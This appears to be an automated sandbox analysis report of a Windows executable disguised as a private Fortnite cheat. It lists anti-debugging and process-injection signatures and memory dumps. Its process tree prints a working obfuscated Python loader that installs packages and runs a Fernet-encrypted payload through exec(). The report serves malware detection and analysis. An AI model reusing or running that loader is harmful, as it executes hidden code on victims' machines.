Analysis
- max time kernel
149s - max time network
137s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
16/04/2026, 04:29
General
- Target VerdictFortnitePrivate.exe
- Size 4.1MB
- Sample260416-e4rhwaax4z
- SHA256 dbdbfe60e3141e1424da2a48471869d3cea6ad0a526b3dec76b9a9206400448d
Malware Config
Signatures
- Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\VerdictFortnitePrivate.exe"C:\Users\Admin\AppData\Local\Temp\VerdictFortnitePrivate.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exepython -c " ;exec('\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x3b\x69\x6d\x70\x6f\x72\x74\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2c\x20\x73\x79\x73\x3b\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x63\x68\x65\x63\x6b\x5f\x63\x61\x6c\x6c\x28\x5b\x73\x79\x73\x2e\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x2c\x20\x27\x2d\x6d\x27\x2c\x20\x27\x70\x69\x70\x27\x2c\x20\x27\x69\x6e\x73\x74\x61\x6c\x6c\x27\x2c\x20\x27\x66\x65\x72\x6e\x65\x74\x27\x2c\x20\x27\x72\x65\x71\x75\x65\x73\x74\x73\x27\x5d\x29\x3b\x20\x66\x72\x6f\x6d\x20\x66\x65\x72\x6e\x65\x74\x20\x69\x6d\x70\x6f\x72\x74\x20\x46\x65\x72\x6e\x65\x74\x3b\x20\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x73\x3b\x65\x78\x65\x63\x28\x46\x65\x72\x6e\x65\x74\x28\x62\x27\x6b\x30\x4c\x35\x4a\x51\x63\x69\x4e\x4e\x58\x72\x6f\x78\x43\x33\x39\x7a\x61\x5f\x4a\x6d\x39\x61\x6f\x31\x6c\x2d\x4a\x64\x5a\x31\x6f\x6d\x59\x52\x73\x66\x51\x67\x31\x6a\x51\x3d\x27\x29\x2e\x64\x65\x63\x72\x79\x70\x74\x28\x62\x27\x67\x41\x41\x41\x41\x41\x42\x70\x34\x47\x50\x54\x35\x71\x4d\x30\x34\x70\x64\x7a\x35\x63\x35\x4f\x68\x5f\x71\x71\x65\x50\x56\x70\x45\x6c\x33\x76\x68\x47\x55\x38\x77\x43\x35\x4b\x66\x4d\x76\x66\x5a\x79\x39\x42\x74\x79\x63\x67\x56\x57\x53\x39\x38\x43\x6c\x58\x6e\x75\x43\x53\x75\x4f\x59\x66\x52\x46\x63\x62\x32\x4f\x79\x36\x32\x53\x2d\x42\x4e\x39\x4f\x38\x30\x77\x78\x52\x42\x64\x49\x63\x69\x54\x4b\x50\x6b\x61\x55\x5a\x36\x77\x54\x65\x64\x58\x57\x44\x62\x4a\x45\x71\x64\x50\x6f\x59\x34\x36\x61\x6d\x78\x5f\x49\x75\x33\x7a\x51\x7a\x6f\x30\x43\x73\x35\x4c\x5a\x62\x4a\x76\x4d\x74\x51\x72\x75\x75\x42\x73\x73\x48\x57\x74\x32\x4d\x56\x78\x31\x65\x32\x4d\x7a\x63\x45\x76\x66\x72\x6e\x4f\x70\x50\x39\x51\x35\x6d\x65\x4e\x63\x67\x4c\x4f\x79\x78\x7a\x58\x4c\x68\x66\x5a\x59\x74\x39\x36\x59\x69\x52\x55\x45\x65\x74\x68\x77\x73\x4c\x72\x34\x36\x55\x79\x68\x51\x44\x6c\x4f\x4c\x58\x71\x6e\x46\x2d\x66\x33\x55\x5a\x67\x3d\x3d\x27\x29\x29') "2⤵
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4732-7-0x000002C595D50000-0x000002C595D51000-memory.dmp
memory/4732-30-0x000002C5966D0000-0x000002C5966D1000-memory.dmp
memory/4732-31-0x000002C5966E0000-0x000002C5966E1000-memory.dmp
memory/4732-26-0x000002C596690000-0x000002C596691000-memory.dmp
memory/4732-25-0x000002C596680000-0x000002C596681000-memory.dmp
memory/4732-24-0x000002C596670000-0x000002C596671000-memory.dmp
memory/4732-23-0x000002C596660000-0x000002C596661000-memory.dmp
memory/4732-22-0x000002C596650000-0x000002C596651000-memory.dmp
memory/4732-21-0x000002C596640000-0x000002C596641000-memory.dmp
memory/4732-19-0x000002C596620000-0x000002C596621000-memory.dmp
memory/4732-17-0x000002C596600000-0x000002C596601000-memory.dmp
memory/4732-15-0x000002C5965E0000-0x000002C5965E1000-memory.dmp
memory/4732-13-0x000002C5965C0000-0x000002C5965C1000-memory.dmp
memory/4732-12-0x000002C5965B0000-0x000002C5965B1000-memory.dmp
memory/4732-11-0x000002C595D90000-0x000002C595D91000-memory.dmp
memory/4732-10-0x000002C595D80000-0x000002C595D81000-memory.dmp
memory/4732-9-0x000002C595D70000-0x000002C595D71000-memory.dmp
memory/4732-4-0x000002C595D20000-0x000002C595D21000-memory.dmp
memory/4732-3-0x000002C595D10000-0x000002C595D11000-memory.dmp
memory/4732-2-0x000002C595D00000-0x000002C595D01000-memory.dmp
memory/4732-1-0x000002C595CF0000-0x000002C595CF1000-memory.dmp
memory/4732-0-0x000002C595CE0000-0x000002C595CE1000-memory.dmp
memory/4732-29-0x000002C5966C0000-0x000002C5966C1000-memory.dmp
memory/4732-28-0x000002C5966B0000-0x000002C5966B1000-memory.dmp
memory/4732-27-0x000002C5966A0000-0x000002C5966A1000-memory.dmp
memory/4732-20-0x000002C596630000-0x000002C596631000-memory.dmp
memory/4732-16-0x000002C5965F0000-0x000002C5965F1000-memory.dmp
memory/4732-18-0x000002C596610000-0x000002C596611000-memory.dmp
memory/4732-14-0x000002C5965D0000-0x000002C5965D1000-memory.dmp
memory/4732-8-0x000002C595D60000-0x000002C595D61000-memory.dmp
memory/4732-6-0x000002C595D40000-0x000002C595D41000-memory.dmp
memory/4732-5-0x000002C595D30000-0x000002C595D31000-memory.dmp
memory/4732-32-0x00007FFB9C1C4000-0x00007FFB9C1C5000-memory.dmp
memory/4732-38-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-39-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-41-0x000002C594660000-0x000002C59466C000-memory.dmp
memory/4732-40-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-42-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-43-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-44-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-45-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-46-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-48-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-49-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-50-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-51-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-52-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-54-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-55-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-56-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-57-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-58-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-60-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-61-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-62-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-63-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-64-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-66-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-67-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-68-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-69-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-70-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-72-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-73-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-74-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-75-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-76-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-78-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-79-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-80-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-81-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-82-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-84-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-85-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-86-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-89-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-87-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-90-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-91-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-94-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-92-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-95-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-96-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-97-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-98-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-99-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-100-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-102-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-103-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-104-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-105-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-106-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-107-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-108-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-110-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-111-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-112-0x00007FFB9C120000-0x00007FFB9C329000-memory.dmp
memory/4732-113-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp
memory/4732-115-0x00007FF6A8ED0000-0x00007FF6A92FC000-memory.dmp